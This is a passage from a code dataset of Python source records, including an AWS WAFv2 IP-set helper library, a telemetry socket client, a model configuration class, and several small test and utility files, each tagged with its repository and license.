world'))\nprint(parse_datetime('12/30/2011 13:45:12 CDT'))\nprint(parse_datetime('2011-12-30 13:45:12 CDT', ignoretz=False))\nprint(parse_datetime('12/30/2011 13:45:12 CDT', ignoretz=False))\nprint(utc_to_tz(datetime.datetime(2011, 11, 25, 9), pytz.timezone('US/Central')))\nprint(utc_to_tz(datetime.datetime(2011, 11, 25, 9), 'US/Central', False))\nprint(tz_to_utc(datetime.datetime(2011, 11, 25, 9), pytz.timezone('US/Central')))\nprint(tz_to_utc(datetime.datetime(2011, 11, 25, 9), 'US/Central', False))\nprint(now_by_tz('US/Pacific'))\nprint(now_by_tz('US/Pacific', False))\nprint(now_by_tz(pytz.timezone('US/Central')))\nprint(now_by_tz(pytz.timezone('US/Central'), False))\n\"\"\"", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "######################################################################################################################\n# Copyright 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved. #\n# #\n# Licensed under the Apache License, Version 2.0 (the \"License\"). You may not use this file except in compliance #\n# with the License. A copy of the License is located at #\n# #\n# http://www.apache.org/licenses/LICENSE-2.0 #\n# #\n# or in the \"license\" file accompanying this file. This file is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES #\n# OR CONDITIONS OF ANY KIND, express or implied. See the License for the specific language governing permissions #\n# and limitations under the License. #\n######################################################################################################################\n# import boto3\n# from botocore.config import Config\nfrom botocore.exceptions import ClientError\nfrom ipaddress import ip_address\nfrom backoff import on_exception, expo, full_jitter\nfrom lib.boto3_util import create_client\n\nAPI_CALL_NUM_RETRIES = 5\nMAX_TIME = 20\n\nclient = create_client('wafv2')\n\nclass WAFLIBv2(object):\n\n def __init__(self):\n return\n\n # Parse arn into ip_set_id\n def arn_to_id(self, arn):\n if arn == None:\n return None\n tmp = arn.split('/')\n return tmp.pop()\n \n # Determine network version for source_ip\n def which_ip_version(self, log, source_ip):\n if source_ip == None:\n return None\n try:\n source_ip = source_ip.strip()\n ip_type = \"IPV%s\"%ip_address(source_ip).version\n return ip_type\n except Exception as e:\n log.error(\"Source ip %s is not IPV4 or IPV6.\", str(source_ip))\n log.error(str(e))\n return None\n \n # Append correct cidr to source_ip\n def set_ip_cidr(self, log, source_ip):\n if source_ip == None:\n return None\n try:\n source_ip = source_ip.strip()\n ip_type = \"IPV%s\"%ip_address(source_ip).version\n except Exception as e:\n log.error(\"Source ip %s is not IPV4 or IPV6.\", str(source_ip))\n log.error(str(e))\n return None\n \n ip_class = \"32\" if ip_type == \"IPV4\" else \"128\"\n return str(source_ip)+\"/\"+str(ip_class)\n\n # Retrieve IPSet given an ip_set_id\n def get_ip_set_by_id(self, log, scope, name, ip_set_id):\n try:\n log.debug(\"[waflib:get_ip_set_by_id] Start\")\n response = client.get_ip_set(\n Scope=scope,\n Name=name,\n Id=ip_set_id\n )\n log.debug(\"[waflib:get_ip_set_by_id] got ip set: \\n{}.\".format(response))\n log.debug(\"[waflib:get_ip_set_by_id] End\")\n return response\n except Exception as e:\n log.error(\"[waflib:get_ip_set_by_id] Failed to get IPSet %s\", str(ip_set_id))\n log.error(str(e))\n return None\n \n # Retrieve IPSet given an ip set arn\n @on_exception(expo, client.exceptions.WAFInternalErrorException, max_time=MAX_TIME)\n def get_ip_set(self, log, scope, name, arn):\n try:\n log.info(\"[waflib:get_ip_set] Start\")\n ip_set_id = self.arn_to_id(arn)\n response = client.get_ip_set(\n Scope=scope,\n Name=name,\n Id=ip_set_id\n )\n log.info(\"[waflib:get_ip_set] End\")\n return response\n except Exception as e:\n log.error(\"Failed to get IPSet %s\", str(ip_set_id))\n log.error(str(e))\n return None\n\n # Retrieve addresses based on ip_set_id\n @on_exception(expo, client.exceptions.WAFInternalErrorException, max_time=MAX_TIME)\n def get_addresses(self, log, scope, name, arn):\n try:\n response = self.get_ip_set(log, scope, name, arn)\n addresses = response[\"IPSet\"][\"Addresses\"]\n return addresses\n except Exception as e:\n log.error(\"Failed to get addresses for ARN %s\", str(arn))\n log.error(str(e))\n return None\n\n # Update addresses in an IPSet using ip set id\n @on_exception(expo, client.exceptions.WAFOptimisticLockException,\n max_time=MAX_TIME,\n jitter=full_jitter,\n max_tries=API_CALL_NUM_RETRIES)\n def update_ip_set_by_id(self, log, scope, name, ip_set_id, addresses, lock_token, description):\n log.debug(\"[waflib:update_ip_set_by_id] Start\")\n\n try:\n response = client.update_ip_set(\n Scope=scope,\n Name=name,\n Id=ip_set_id,\n Addresses=addresses,\n LockToken=lock_token,\n Description=description\n )\n\n log.debug(\"[waflib:update_ip_set_by_id] update ip set response: \\n{}.\".format(response))\n log.debug(\"[waflib:update_ip_set_by_id] End\")\n return response\n # Get the latest ip set and retry updating api call when OptimisticLockException occurs\n except ClientError as ex:\n exception_type = ex.response['Error']['Code']\n if exception_type in ['OptimisticLockException']:\n log.info(\"[waflib:update_ip_set_by_id] OptimisticLockException detected. Get the latest ip set and retry updating ip set.\")\n ip_set = self.get_ip_set_by_id(log, scope, name, ip_set_id)\n lock_token = ip_set['LockToken']\n\n response = client.update_ip_set(\n Scope=scope,\n Name=name,\n Id=ip_set_id,\n Addresses=addresses,\n LockToken=lock_token,\n Description=description\n )\n log.debug(\"[waflib:update_ip_set_id] End\")\n return response\n except Exception as e:\n log.error(e)\n log.error(\"[waflib:update_ip_set_by_id] Failed to update IPSet: %s\", str(ip_set_id))\n return None\n\n \n # Update addresses in an IPSet using ip set arn\n @on_exception(expo, client.exceptions.WAFOptimisticLockException,\n max_time=MAX_TIME,\n jitter=full_jitter,\n max_tries=API_CALL_NUM_RETRIES)\n def update_ip_set(self, log, scope, name, ip_set_arn, addresses):\n log.info(\"[waflib:update_ip_set] Start\")\n if (ip_set_arn is None or name is None):\n log.error(\"No IPSet found for: %s \", str(ip_set_arn))\n return None\n\n try:\n # convert from arn to ip_set_id\n ip_set_id = self.arn_to_id(ip_set_arn)\n\n # retrieve the ipset to get a locktoken\n ip_set = self.get_ip_set(log, scope, name, ip_set_arn)\n lock_token = ip_set['LockToken']\n description = ip_set['IPSet']['Description']\n log.info(\"Updating IPSet with description: %s, lock token: %s\", str(description), str(lock_token))\n\n response = client.update_ip_set(\n Scope=scope,\n Name=name,\n Description=description,\n Id=ip_set_id,\n Addresses=addresses,\n LockToken=lock_token\n )\n\n new_ip_set = self.get_ip_set(log, scope, name, ip_set_id)\n\n log.debug(\"[waflib:update_ip_set] update ip set response:\\n{}\".format(response))\n log.info(\"[waflib:update_ip_set] End\")\n return new_ip_set\n except Exception as e:\n log.error(e)\n log.error(\"Failed to update IPSet: %s\", str(ip_set_id))\n return None\n \n \n # Put Log Configuration for webacl\n @on_exception(expo, client.exceptions.WAFInternalErrorException, max_time=MAX_TIME)\n def put_logging_configuration(self, log, web_acl_arn, delivery_stream_arn):\n try:\n response = client.put_logging_configuration(\n LoggingConfiguration={\n 'ResourceArn': web_acl_arn,\n 'LogDestinationConfigs': [delivery_stream_arn]\n }\n )\n return response\n except Exception as e:\n log.error(\"Failed to configure log for WebAcl: %s\", str(web_acl_arn))\n log.error(str(e))\n return None\n\n # Delete Log Configuration for webacl\n @on_exception(expo, client.exceptions.WAFInternalErrorException, max_time=MAX_TIME)\n def delete_logging_configuration(self, log, web_acl_arn):\n try:\n response = client.delete_logging_configuration(\n ResourceArn=web_acl_arn\n )\n return response\n except Exception as e:\n log.error(\"Failed to delete log for WebAcl: %s\", str(web_acl_arn))\n log.error(str(e))\n return None\n\n # List webacls\n @on_exception(expo, client.exceptions.WAFInternalErrorException, max_time=MAX_TIME)\n def list_web_acls(self, log, scope):\n try:\n response = client.list_web_acls(\n Scope=scope\n )\n return response\n except Exception as e:\n log.error(\"Failed to list WebAcld in scope: %s\", str(scope))\n log.error(str(e))\n return None\n \n # log when retry is stopped\n # def give_up_retry(self, log, e):\n # log.error(\"Giving up retry after %s times.\",str(API_CALL_NUM_RETRIES))\n # log.error(e)\n \n #################################################################\n # Following functions only used for testing, not in WAF Solution\n #################################################################\n\n @on_exception(expo,\n (client.exceptions.WAFInternalErrorException,\n client.exceptions.WAFOptimisticLockException,\n client.exceptions.WAFLimitsExceededException),\n max_time=MAX_TIME)\n def create_ip_set(self, log, scope, name, description, version, addresses):\n try:\n response = client.create_ip_set(\n Scope=scope,\n Name=name,\n Description=description,\n IPAddressVersion=version,\n Addresses=addresses\n )\n return response\n except Exception as e:\n log.error(\"Failed to create IPSet: %s\", str(name))\n log.error(str(e))\n return None\n\n @on_exception(expo,\n (client.exceptions.WAFInternalErrorException,\n client.exceptions.WAFOptimisticLockException,\n client.exceptions.WAFAssociatedItemException),\n max_time=MAX_TIME)\n def delete_ip_set(self, log, scope, name, ip_set_id):\n try:\n response = self.get_ip_set(log, scope, name, ip_set_id) \n if response is not None:\n lock_token = response['LockToken']\n response = client.delete_ip_set(\n Scope=scope,\n Name=name,\n LockToken=lock_token,\n Id=ip_set_id\n )\n return response\n except Exception as e:\n log.error(\"Failed to delete IPSet: %s\", str(name))\n log.error(str(e))\n return None\n\n @on_exception(expo, client.exceptions.WAFInternalErrorException, max_time=MAX_TIME)\n def list_ip_sets(self, log, scope, marker=None):\n try:\n response = None\n if marker == None:\n response = client.list_ip_sets(\n Scope=scope,\n Limit=50\n )\n else:\n response = client.list_ip_sets(\n Scope=scope,\n NextMarker=marker,\n Limit=50\n )\n return response\n except Exception as e:\n log.error(\"Failed to list IPSets in scope: %s\", str(scope))\n log.error(str(e))\n return None", "source": "subanishaik27/aws-waf", "license": "Apache-2.0"} {"text": "\"\"\"Terminal test utilities.\n\"\"\"\n\nfrom curses import tigetstr\nfrom curses import tparm\nfrom functools import partial\nimport re\n\nimport blessings\n\nfrom pyout.tests.utils import assert_contains\n\n\nclass Terminal(blessings.Terminal):\n\n def __init__(self, *args, **kwargs):\n super(Terminal, self).__init__(\n *args, kind=\"xterm-256color\", **kwargs)\n self._width = 100\n self._height = 20\n\n @property\n def width(self):\n return self._width\n\n @width.setter\n def width(self, value):\n self._width = value\n\n @property\n def height(self):\n return self._height\n\n @height.setter\n def height(self, value):\n self._height = value\n\n\n# unicode_cap, and unicode_parm are copied from blessings' tests.\n\n\ndef unicode_cap(cap):\n \"\"\"Return the result of ``tigetstr`` except as Unicode.\"\"\"\n return tigetstr(cap).decode('latin1')\n\n\ndef unicode_parm(cap, *parms):\n \"\"\"Return the result of ``tparm(tigetstr())`` except as Unicode.\"\"\"\n return tparm(tigetstr(cap), *parms).decode('latin1')\n\n\nCOLORNUMS = {\"black\": 0, \"red\": 1, \"green\": 2, \"yellow\": 3, \"blue\": 4,\n \"magenta\": 5, \"cyan\": 6, \"white\": 7}\n\n\ndef capres(name, value):\n \"\"\"Format value with CAP key, followed by a reset.\n \"\"\"\n if name in COLORNUMS:\n prefix = unicode_parm(\"setaf\", COLORNUMS[name])\n else:\n prefix = unicode_cap(name)\n return prefix + value + unicode_cap(\"sgr0\")\n\n\ndef eq_repr_noclear(actual, expected):\n \"\"\"Like `eq_repr`, but strip clear-related codes from `actual`.\n \"\"\"\n clear_codes = [re.escape(unicode_cap(x)) for x in [\"el\", \"ed\", \"cuu1\"]]\n match = re.match(\"(?:{}|{}|{})*(.*)\".format(*clear_codes), actual)\n assert match, \"This should always match\"\n return repr(match.group(1)) == repr(expected)\n\n\nassert_contains_nc = partial(assert_contains, cmp=eq_repr_noclear)\n", "source": "pyout/pyout", "license": "MIT"} {"text": "import sys\nimport functools\nimport signal\nimport select\nimport socket\nimport numpy as np\nimport pickle\nimport matplotlib.pyplot as plt\nimport time\nimport datetime\nfrom multiprocessing import Process, Queue\nsys.path.append('../dhmsw/')\nimport interface\nimport telemetry_iface_ag\nimport struct\nPLOT = True\n\nheaderStruct = struct.Struct('III')\n\nclass guiclient(object):\n def __init__(self):\n self.sock = None\n self.displaythread = Process(target=self.DisplayThread)\n self.displaythread.daemon = True\n self.displayQ = Queue()\n self.exit = False\n\n self.maxlen = 150995023\n\n for sig in [signal.SIGTERM, signal.SIGINT, signal.SIGHUP, signal.SIGQUIT]:\n signal.signal(sig, self.signal_handler)\n\n def signal_handler(self, signal, frame):\n self.exit = True\n self.displayQ.put(None)\n \n \n def restore_frame(self, data, meta, z):\n w, h, compval, val, size, actualsize,ts, gain, ccdtemp = meta\n \n dtidx = 0\n for i in range(0, w*h,compval):\n z[i] = data[dtidx];\n dtidx += 1\n \n\n\n def DisplayThread(self):\n\n if PLOT:\n f, axes = plt.subplots(sharex=True)\n for i in range(1):\n #axes[i].imshow(z, extent=[0,2448,0,2050], aspect=\"auto\", cmap='gray')\n axes.clear()\n #axes.imshow(z, extent=[0,2448,0,2050], aspect=\"auto\", cmap='gray')\n\n reconst_telemetry = telemetry_iface_ag.Reconstruction_Telemetry()\n heartbeat_telemetry = telemetry_iface_ag.Heartbeat_Telemetry()\n framesource_telemetry = telemetry_iface_ag.Framesource_Telemetry()\n datalogger_telemetry = telemetry_iface_ag.Datalogger_Telemetry()\n guiserver_telemetry = telemetry_iface_ag.Guiserver_Telemetry()\n session_telemetry = telemetry_iface_ag.Session_Telemetry()\n hologram_telemetry = telemetry_iface_ag.Hologram_Telemetry()\n fouriermask_telemetry = telemetry_iface_ag.Fouriermask_Telemetry()\n\n while True:\n msg = self.displayQ.get()\n if msg is None:\n break\n\n #print(\"**************** Display Thread\") \n msgid, srcid, totalbytes= headerStruct.unpack(msg[0:struct.calcsize(headerStruct.format)])\n meta = (msgid, srcid, totalbytes)\n offset = struct.calcsize(headerStruct.format) \n #print('offset=%d'%(offset))\n data = None\n if srcid == interface.SRCID_TELEMETRY_RECONSTRUCTION:\n print('Received RECONSTRUCTION Telemetry') \n data = reconst_telemetry.unpack_from(msg, offset=offset)\n elif srcid == interface.SRCID_TELEMETRY_HEARTBEAT:\n data = heartbeat_telemetry.unpack_from(msg, offset=offset)\n elif srcid == interface.SRCID_TELEMETRY_FRAMESOURCE:\n data = framesource_telemetry.unpack_from(msg, offset=offset)\n print('Framesource state: ', data.state)\n elif srcid == interface.SRCID_TELEMETRY_SESSION:\n data = session_telemetry.unpack_from(msg, offset=offset)\n elif srcid == interface.SRCID_TELEMETRY_DATALOGGER:\n data = datalogger_telemetry.unpack_from(msg, offset=offset)\n elif srcid == interface.SRCID_TELEMETRY_HOLOGRAM:\n data = hologram_telemetry.unpack_from(msg, offset=offset)\n elif srcid == interface.SRCID_TELEMETRY_GUISERVER:\n data = guiserver_telemetry.unpack_from(msg, offset=offset)\n elif srcid == interface.SRCID_TELEMETRY_FOURIERMASK:\n data = fouriermask_telemetry.unpack_from(msg, offset=offset)\n if PLOT:\n mask = np.frombuffer(data.mask, dtype=np.uint8).reshape((2048,2048))\n #mask = np.asarray(data.mask,dtype=np.int8).reshape((2048,2048))\n axes.clear()\n #axes.imshow(mask[:,:], extent=[2048,0,0,2048], aspect=\"auto\")\n axes.imshow(mask[:,:], aspect=\"auto\")\n plt.suptitle(repr(time.time()))\n #axes.set_ylim(axes.get_ylim()[::-1])\n plt.draw()\n plt.pause(0.001)\n \n else:\n print('Unknown Telemetry') \n if data and srcid != interface.SRCID_TELEMETRY_HEARTBEAT:\n print(time.time(), datetime.datetime.now())\n print(data)\n pass\n\n print('End of DisplayThread')\n\n def connect_to_server(self, server, port):\n\n #headerStruct = struct.Struct('HHBIIIHH')\n\n totlen = 0\n\n count = 0\n\n ### Continous receive of data\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.sock.connect((server, port))\n self.readfds = [self.sock]\n\n ### Start Display Thread\n self.displaythread.start()\n length = None\n buf = b''\n data = b''\n msg=b''\n lasttime = time.time()\n meta = None\n totalbytes = 0\n while True:\n\n infds, outfds, errfds = select.select(self.readfds, [], [], 5)\n if not (infds or outfds or errfds):\n continue\n if self.exit: break\n\n for s in infds:\n if s is self.sock:\n ### Get as much data as we can\n packet = self.sock.recv(255)\n\n if not packet:\n self.exit = True\n self.displayQ.put_nowait(None)\n break\n data += packet\n datalen = len(data)\n\n #print('len packet= %d'%(len(packet)))\n ### If he haven't processed the header/meta, then lets.\n #if meta is None and datalen > struct.calcsize(headerStruct.format)+25:\n if meta is None and datalen >= struct.calcsize(headerStruct.format):\n #packet = self.sock.recv(12)\n #print(\"Recieve: %s\"%(':'.join(\"{:02x}\".format(ord(c)) for c in packet[0:50])))\n msg_id, srcid, totalbytes = headerStruct.unpack(data[0:struct.calcsize(headerStruct.format)])\n totalbytes += struct.calcsize(headerStruct.format)\n meta = (msg_id, srcid)\n #print('msg_id=%d, srcid=%d, totalbytes=%d'%(msg_id, srcid, totalbytes))\n\n if datalen >= totalbytes: ### We have a complete packet stored.\n msg = data[:totalbytes]\n data = data[totalbytes:]\n meta = None\n totalbytes = 0\n #print('%.2f Hz'%(1/(time.time()-lasttime)))\n lasttime = time.time()\n #plt.show(block=False)\n count+=1\n self.displayQ.put_nowait(msg)\n #print('Full message received after getting meta: datalen=%d, datalen after=%d'%(datalen, len(data)))\n else:\n\n if datalen < totalbytes:\n continue\n\n ### We have a complete message\n msg = data[:totalbytes]\n data = data[totalbytes:]\n #print('Full message received: datalen=%d, datalen after=%d'%(datalen, len(data)))\n meta = None\n totalbytes = 0\n self.displayQ.put_nowait(msg)\n #print('%.2f Hz'%(1/(time.time()-lasttime)))\n lasttime = time.time()\n count+=1\n if self.exit: break\n\n self.sock.close() \n\n\nif __name__ == \"__main__\":\n a = guiclient()\n host= socket.gethostbyname('localhost')\n port = 9996\n print(\"Client host: %s: port: %d\"%(host, port)) \n a.connect_to_server(host, port) \n", "source": "dhm-org/dhm_suite", "license": "Apache-2.0"} {"text": "#-----------------------------------------------------------------------------\n#\n# Copyright (c) 2006 by Enthought, Inc.\n# All rights reserved.\n#\n# Author: Dave Peterson \n#\n#-----------------------------------------------------------------------------\n\n# Standard library imports\nimport logging\n\n# Enthought library imports\nimport apptools.sweet_pickle as sweet_pickle\nfrom apptools.sweet_pickle.global_registry import _clear_global_registry\nfrom traits.api import Bool, Float, HasTraits, Int, Str\n\n\nlogger = logging.getLogger(__name__)\n\n\n##############################################################################\n# Classes to use within the tests\n##############################################################################\n\nclass Foo(HasTraits):\n _enthought_pickle_version = Int(1)\n b1 = Bool(False)\n f1 = Float(1)\n i1 = Int(1)\n s1 = Str('foo')\n\nclass Bar(HasTraits):\n _enthought_pickle_version = Int(2)\n b2 = Bool(True)\n f2 = Float(2)\n i2 = Int(2)\n s2 = Str('bar')\n\nclass Baz(HasTraits):\n _enthought_pickle_version = Int(3)\n b3 = Bool(False)\n f3 = Float(3)\n i3 = Int(3)\n s3 = Str('baz')\n def __setstate__(self, state):\n logger.debug('Running Baz\\'s original __setstate__')\n if state['_enthought_pickle_version'] < 3:\n info = [('b2', 'b3'), ('f2', 'f3'), ('i2', 'i3'), ('s2', 's3')]\n for old, new in info:\n if old in state:\n state[new] = state[old]\n del state[old]\n state['_enthought_pickle_version'] = 3\n self.__dict__.update(state)\n\n### EOF ######################################################################\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"} {"text": "import logging\nimport re\nimport pytest\nfrom .common import dict_read, dict_compare_keys\n\nlogger = logging.getLogger(__name__)\n\n@pytest.fixture\ndef contacts_view_id(fs):\n views = fs.contacts.get_views()\n for v in views:\n if re.match('all', v['name'].lower()):\n return v['id']\n assert False, 'Could not find a contacts view'\n return None\n\ndef assert_contact_well_formed(contact):\n ref_contact = dict_read('contact.json')\n logger.debug('contact = %s', contact)\n logger.debug('ref_contact = %s', ref_contact)\n diff = dict_compare_keys(contact, ref_contact)\n logger.debug('dict_compare = %s', diff)\n assert diff == [], 'unexpected contact structure'\n\ndef test_contacts_get_views(fs):\n views = fs.contacts.get_views()\n assert views\n\ndef test_contacts_get_all_generator(fs, contacts_view_id):\n for contact in fs.contacts.get_all_generator(view_id=contacts_view_id, limit=10):\n assert_contact_well_formed(contact)\n\ndef test_contacts_get(fs, contacts_view_id):\n contact1 = next(fs.contacts.get_all_generator(view_id=contacts_view_id, limit=1))\n assert_contact_well_formed(contact1)\n contact2 = fs.contacts.get(id=contact1['id'])\n assert_contact_well_formed(contact2)\n", "source": "colmeirin/freshsales-sdk-py", "license": "MIT"} {"text": "from gym.envs.registration import register\n\nregister(\n id='patrolling-v0',\n entry_point='PatrollingProblem.envs:PatrollingProblemEnv',\n)", "source": "Fr00zen/-AI50-", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'res/ItemWidget.ui',\n# licensing of 'res/ItemWidget.ui' applies.\n#\n# Created: Wed Jul 24 14:22:57 2019\n# by: pyside2-uic running on PySide2 5.13.0\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PySide2 import QtCore, QtGui, QtWidgets\n\nclass Ui_ItemWidget(object):\n def setupUi(self, ItemWidget):\n ItemWidget.setObjectName(\"ItemWidget\")\n ItemWidget.resize(200, 100)\n self.horizontalLayout = QtWidgets.QHBoxLayout(ItemWidget)\n self.horizontalLayout.setObjectName(\"horizontalLayout\")\n self.labelThumbnail = QtWidgets.QLabel(ItemWidget)\n self.labelThumbnail.setText(\"\")\n self.labelThumbnail.setObjectName(\"labelThumbnail\")\n self.horizontalLayout.addWidget(self.labelThumbnail)\n self.verticalLayout = QtWidgets.QVBoxLayout()\n self.verticalLayout.setObjectName(\"verticalLayout\")\n self.labelTitle = QtWidgets.QLabel(ItemWidget)\n self.labelTitle.setText(\"\")\n self.labelTitle.setObjectName(\"labelTitle\")\n self.verticalLayout.addWidget(self.labelTitle)\n self.progressBar = QtWidgets.QProgressBar(ItemWidget)\n self.progressBar.setProperty(\"value\", 24)\n self.progressBar.setObjectName(\"progressBar\")\n self.verticalLayout.addWidget(self.progressBar)\n self.horizontalLayout.addLayout(self.verticalLayout)\n\n self.retranslateUi(ItemWidget)\n QtCore.QMetaObject.connectSlotsByName(ItemWidget)\n\n def retranslateUi(self, ItemWidget):\n ItemWidget.setWindowTitle(QtWidgets.QApplication.translate(\"ItemWidget\", \"Form\", None, -1))\n\n", "source": "Ingener74/Mist-Tooth", "license": "MIT"} {"text": "import unittest\nfrom datetime import datetime, timedelta\n\nfrom automover.test.helpers import *\n\nfrom automover.remover import handle_remove\n\nclass TestRemover(unittest.TestCase):\n def setUp(self):\n self.client = client = DummyClient()\n self.torrents = [\n DummyTorrent(client, '1', datetime.now(), 0, '/matchpath/', False, True, ['http://matchtracker.com']),\n DummyTorrent(client, '2', datetime.now(), 2, '/matchpath/', True, True, ['http://matchtracker.com']),\n DummyTorrent(client, '3', datetime.now()-timedelta(hours=20), 0.5, '/matchpath/', True, True, ['http://matchtracker.com']),\n DummyTorrent(client, '4', datetime.now()-timedelta(hours=50), 50, '/matchpath/', True, True, ['http://matchtracker.com']),\n DummyTorrent(client, '5', datetime.now()-timedelta(hours=50), 50, '/matchpath/', True, True, ['http://matchtracker.com']),\n DummyTorrent(client, '6', datetime.now(), 50, '/matchpath/', False, True, ['http://matchtracker.com']),\n DummyTorrent(client, '7', datetime.now(), 50, '/matchpath/', True, True, ['http://matchNOTtracker.com']),\n DummyTorrent(client, '8', datetime.now(), 50, '/matchNOTpath/', True, True, ['http://matchtracker.com']),\n ]\n self.client.torrents = self.torrents\n \n def test_timed_remove(self):\n handle_remove(self.client, {'fakesite1': ('time', 'matchtracker', '3')}, ['/matchpath'])\n self.assertEqual([torrent.torrent_id for torrent in self.torrents], ['1', '2', '6', '7', '8'], 'Did not remove correct torrents')\n \n def test_ratio_remove(self):\n handle_remove(self.client, {'fakesite1': ('ratio', 'matchtracker', 1.5)}, ['/matchpath'])\n self.assertEqual([torrent.torrent_id for torrent in self.torrents], ['1', '3', '6', '7', '8'], 'Did not remove correct torrents')\n \n def test_combined_remove(self):\n handle_remove(self.client, {'fakesite1': ('ratio', 'matchtracker', 1.5), 'fakesite2': ('time', 'matchtracker', '3')}, ['/matchpath'])\n self.assertEqual([torrent.torrent_id for torrent in self.torrents], ['1', '6', '7', '8'], 'Did not remove correct torrents')", "source": "JohnDoee/rtorrent-automover", "license": "BSD-3-Clause"} {"text": "import os\n\nclass Config_MIL:\n ''' Neural net hyperparameters '''\n\n gpu=True\n mention_rep = True\n\n\n ''' data hyperparameters '''\n\n\n\n def __init__(self, run_dir, args):\n\n self.dropout = args.dropout\n self.dataset = args.dataset\n self.args = args\n self.log_dir = args.log_dir \n self.bag_size = args.bag_size\n\n self.lr = args.lr\n self.encoder = args.encoder\n self.beta1 = args.beta1\n self.beta2 = args.beta2\n self.epsilon = args.epsilon\n self.embedding_dim = args.embedding_dim\n self.hidden_dim = args.hidden_dim\n self.kernel_width = args.kernel_width\n self.clip_val = args.clip_val\n self.weight_decay = args.weight_decay\n self.num_epochs = args.num_epochs\n self.batch_size = args.batch_size\n self.save_model = args.save_model\n self.struct_weight = args.struct_weight\n self.linker_weight = args.linker_weight\n self.typing_weight = args.typing_weight\n\n\n self.complex = args.complex\n self.mode = args.mode\n self.bilinear_l2 = args.bilinear_l2\n self.parent_sample_size = args.parent_sample_size\n self.asymmetric = args.asymmetric\n\n self.test_batch_size = args.test_batch_size\n self.take_frac = args.take_frac\n self.use_transitive = args.use_transitive\n self.base_dir = args.base_dir\n base_dir = args.base_dir\n self.features = args.features\n\n self.feature_file = \"%s/wiki_typing/feature2id_figer.txt\" %base_dir\n \n self.override_lr = args.override_lr \n self.start_from_best = args.start_from_best\n self.ddlr = args.ddlr\n self.dd = args.dd\n self.inference_thr = args.inference_thr \n self.dd_implication_wt = args.dd_implication_wt \n self.dd_mutl_excl_wt = args.dd_mutl_excl_wt \n self.dd_mutl_excl_topk = args.dd_mutl_excl_topk \n self.dd_update_freq = args.dd_update_freq\n self.dd_warmup_iter = args.dd_warmup_iter\n self.dd_tcc = args.dd_tcc \n self.dd_weight_decay= args.dd_weight_decay \n self.dd_optim = args.dd_optim \n self.dd_mom = args.dd_mom \n self.dd_logsig= args.dd_logsig \n self.dd_penalty= args.dd_penalty \n self.eval_topk = 0\n self.dd_constraint_wt = args.dd_constraint_wt\n self.dd_maxp_wt = args.dd_maxp_wt\n self.dd_maxp_thr = args.dd_maxp_thr\n self.dd_constant_lambda = args.dd_constant_lambda \n \n self.dd_increase_freq_by = args.dd_increase_freq_by \n self.dd_increase_freq_after = args.dd_increase_freq_after\n self.dd_decay_lr = args.dd_decay_lr \n self.dd_decay_lr_after = args.dd_decay_lr_after \n\n \n self.use_wt_as_lr_factor = args.use_wt_as_lr_factor \n self.semi_mixer = args.semi_mixer\n self.semi_warmup_iter = args.semi_warmup_iter\n self.semi_sup = args.semi_sup\n self.class_imb = args.class_imb\n self.unlabelled_ratio = args.unlabelled_ratio \n \n self.grad_norm = args.grad_norm\n self.grad_norm_before_warmup = args.grad_norm_before_warmup\n\n\n# no support for struct weight with figer\n if self.dataset == \"figer\":\n self.test_bag_size = 1\n self.type_dict = \"%s//MIL_data/figer_type_dict.joblib\" %base_dir\n self.typenet_matrix = \"%s/types_annotated/TypeNet_transitive_closure.joblib\" %base_dir\n self.typenet_adj_matrix = \"%s/types_annotated/TypeNet_adj_matrix.joblib\" %base_dir\n self.dev_file=\"%s/wiki_typing/dev\"%base_dir\n self.test_file=\"%s/wiki_typing/test\"%base_dir\n\n else:\n self.test_bag_size = 20\n self.type_dict = \"%s/MIL_data/TypeNet_type2idx.joblib\" % base_dir\n self.typenet_matrix = \"%s/MIL_data/TypeNet_transitive_closure.joblib\" % base_dir\n self.typenet_adj_matrix = \"%s/MIL_data/TypeNet_adj_matrix.joblib\" % base_dir\n\n self.train_file = \"%s/MIL_data/train.entities\"%base_dir\n self.dev_file = \"%s/MIL_data/dev.entities\" % base_dir\n self.test_file = \"%s/MIL_data/test.entities\" % base_dir\n self.bag_file = \"%s/MIL_data/entity_bags.joblib\" % base_dir\n self.entity_dict = \"%s/MIL_data/entity_dict.joblib\" % base_dir\n self.cross_wikis_shelve = \"%s/MIL_data/alias_table.joblib\" %base_dir\n\n\n\n self.embedding_file = \"%s/data/pretrained_embeddings.npz\" %base_dir\n self.embedding_downloaded_file = \"%s/other_resources/glove.840B.300d.txt\" %base_dir\n self.crosswikis_file = \"%s/other_resources/dictionary.bz2\"\n self.redirects_file = \"/iesl/canvas/smurty/wiki-data/enwiki-20160920-redirect.tsv\"\n\n\n self.entity_bags_dict = \"%s/MIL_data/entity_bags.joblib\" %base_dir\n\n if self.use_transitive:\n self.entity_type_dict = \"%s/MIL_data/entity_%s_type_dict.joblib\" %(base_dir, self.dataset)\n else:\n self.entity_type_dict = \"%s/MIL_data/entity_type_dict_orig.joblib\" %(base_dir)\n\n self.entity_type_dict_test = \"%s/MIL_data/entity_%s_type_dict.joblib\" %(base_dir, self.dataset)\n\n\n self.raw_entity_file=\"%s/AIDA_linking/AIDA_original/all_entities.txt\"%base_dir\n self.raw_type_file=\"%s/types_annotated/typenet_structure.txt\"%base_dir\n self.raw_entity_type_file=\"%s/AIDA_linking/AIDA_original/all_entities_types.txt\"%base_dir\n\n\n self.vocab_file=\"%s/data/vocab.joblib\"%base_dir\n #self.checkpoint_file = \"%s/checkpoints\" %run_dir\n self.model_name = args.model_name \n self.checkpoint_file = \"%s/%s\" %(self.log_dir, args.model_name)\n self.model_file = 'best_params.pth'\n self.test_out_file = os.path.join(self.checkpoint_file, 'test_results.txt')\n try:\n os.makedirs(self.checkpoint_file)\n except:\n pass\n\n\n", "source": "djin31/loss-landscape", "license": "MIT"} {"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport icu\n\ndef all_glyphs(prop):\n return [c.encode('utf-16', 'surrogatepass').decode('utf-16') for c in icu.UnicodeSetIterator(icu.UnicodeSet(r'[:{}:]'.format(prop)))]\n\ndef all_cps(prop):\n return list(map(glyph_cp, all_glyphs(prop)))\n\ndef glyph_name(glyph, default=''):\n if len(glyph) > 1:\n 